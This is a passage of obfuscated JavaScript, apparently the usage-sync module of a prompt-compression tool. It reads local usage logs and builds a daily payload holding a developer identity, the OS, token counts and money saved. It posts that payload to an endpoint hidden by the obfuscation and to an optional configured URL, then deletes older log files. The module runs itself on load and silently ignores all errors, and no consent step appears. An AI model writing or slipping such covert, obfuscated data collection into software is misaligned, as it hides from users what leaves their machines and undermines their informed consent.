url_1[(_0x3e1477(0x1eb))](_0x3cbd66),_0x744c7c=JSON[_0x3e1477(0x205)](_0x4e4c78),_0x28fde7={'hostname':_0x2a33c0[_0x3e1477(0x1f2)],'port':_0x2a33c0[_0x3e1477(0x1e9)]||(_0x2a33c0['protocol']===_0x3e1477(0x21b)?0x1bb:0x50),'path':_0x2a33c0['pathname']+_0x2a33c0['search'],'method':_0x3e1477(0x226),'headers':{'Content-Type':_0x3e1477(0x202),'Content-Length':Buffer[_0x3e1477(0x232)](_0x744c7c)},'timeout':0x1f40},_0x35f535=_0x2a33c0[_0x3e1477(0x20f)]==='https:'?https:http,_0x221195=_0x35f535[_0x3e1477(0x1e0)](_0x28fde7,_0xe74ed0=>{const _0x2c4957=_0x3e1477;_0x37dbfd(!!(_0xe74ed0['statusCode']&&_0xe74ed0[_0x2c4957(0x224)]>=0xc8&&_0xe74ed0[_0x2c4957(0x224)]<0x12c));});_0x221195['on'](_0x3e1477(0x1e3),()=>_0x37dbfd(![])),_0x221195['on']('timeout',()=>{const _0x48afdc=_0x3e1477;_0x221195[_0x48afdc(0x20e)](),_0x37dbfd(![]);}),_0x221195['write'](_0x744c7c),_0x221195[_0x3e1477(0x219)]();}catch{_0x37dbfd(![]);}});}function buildDailyPayload(_0x23ba50){const _0x5099a9=a0_0xffdd88,_0x12f69d=getTodayDate(),_0x494307=_0x23ba50[_0x5099a9(0x22e)](_0x232024=>_0x232024['timestamp'][_0x5099a9(0x22f)](_0x12f69d)),_0xfa8e73=_0x494307[_0x5099a9(0x1f7)]>0x0?_0x494307:_0x23ba50;let _0x47d54f=0x0,_0x4d5a92=0x0,_0x386bfa=0x0,_0x23e619=0x0;const _0x38e80e=new Set();for(const _0x4a0595 of _0xfa8e73){_0x47d54f+=_0x4a0595['estimated_raw_tokens'],_0x4d5a92+=_0x4a0595[_0x5099a9(0x20c)],_0x386bfa+=_0x4a0595[_0x5099a9(0x1ef)],_0x38e80e[_0x5099a9(0x22c)](_0x4a0595[_0x5099a9(0x1e2)]);const _0x22a8dd=PRICING[_0x4a0595[_0x5099a9(0x1e2)]]||PRICING[_0x5099a9(0x216)];_0x23e619+=_0x4a0595[_0x5099a9(0x1ef)]*_0x22a8dd['input_price_1m']/0xf4240;}const _0x20d817=_0xfa8e73[_0xfa8e73['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x5099a9(0x1f0)](),'date':_0x12f69d,'executions_count':_0xfa8e73[_0x5099a9(0x1f7)],'total_raw_tokens':_0x47d54f,'total_compressed_tokens':_0x4d5a92,'total_tokens_saved':_0x386bfa,'total_money_saved_usd':parseFloat(_0x23e619[_0x5099a9(0x1fb)](0x6)),'models_used':Array[_0x5099a9(0x1f1)](_0x38e80e),'last_seen':_0x20d817?_0x20d817[_0x5099a9(0x210)]:new Date()[_0x5099a9(0x1e8)]()};}async function runSync(){const _0x204da7=a0_0xffdd88;if(!fs[_0x204da7(0x1fc)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x230c1c;try{_0x230c1c=JSON['parse'](fs['readFileSync'](statsPath,_0x204da7(0x213)));}catch{return;}const _0x262708=_0x230c1c['filter'](_0x43560c=>!_0x43560c['synced']);if(_0x262708['length']===0x0)return;const _0x481e8c=buildDailyPayload(_0x230c1c);await postTelemetry(_ep,_0x481e8c);let _0xd0456c=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0xd0456c&&fs['existsSync'](configPath))try{const _0x1d5652=JSON[_0x204da7(0x201)](fs[_0x204da7(0x214)](configPath,_0x204da7(0x213)));_0xd0456c=_0x1d5652[_0x204da7(0x218)]||'';}catch{}_0xd0456c[_0x204da7(0x1f8)]()[_0x204da7(0x1f7)]>0x0&&await postTelemetry(_0xd0456c,_0x481e8c);for(const _0x4809d of _0x230c1c){if(!_0x4809d[_0x204da7(0x208)])_0x4809d[_0x204da7(0x208)]=!![];}try{fs[_0x204da7(0x1de)](statsPath,JSON['stringify'](_0x230c1c,null,0x2),'utf8');}catch{}markSyncedToday(),pruneOldLogs(_0x230c1c);}function pruneOldLogs(_0x4233a0){const _0x4f86f5=a0_0xffdd88;try{const _0x2a61e1=new Date(),_0x42d141=new Date(_0x2a61e1[_0x4f86f5(0x1ed)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x2e9625=[],_0x3c1402=[];for(const _0x4413c2 of _0x4233a0){const _0x57dead=new Date(_0x4413c2[_0x4f86f5(0x210)]);_0x57dead>=_0x42d141?_0x2e9625[_0x4f86f5(0x1f3)](_0x4413c2):_0x3c1402[_0x4f86f5(0x1f3)](_0x4413c2);}if(_0x3c1402[_0x4f86f5(0x1f7)]>0x0){const _0x325dc4=path[_0x4f86f5(0x230)](baseDir,_0x4f86f5(0x200));for(const _0x4eb0f8 of _0x3c1402){const _0xc64cae=path[_0x4f86f5(0x230)](_0x325dc4,_0x4eb0f8['id']+_0x4f86f5(0x207)),_0x36282d=path[_0x4f86f5(0x230)](_0x325dc4,_0x4eb0f8['id']+_0x4f86f5(0x225));try{if(fs[_0x4f86f5(0x1fc)](_0xc64cae))fs[_0x4f86f5(0x1f9)](_0xc64cae);if(fs['existsSync'](_0x36282d))fs[_0x4f86f5(0x1f9)](_0x36282d);}catch{}}fs[_0x4f86f5(0x1de)](statsPath,JSON[_0x4f86f5(0x205)](_0x2e9625,null,0x2),_0x4f86f5(0x213));}}catch{}}runSync()['catch'](()=>{});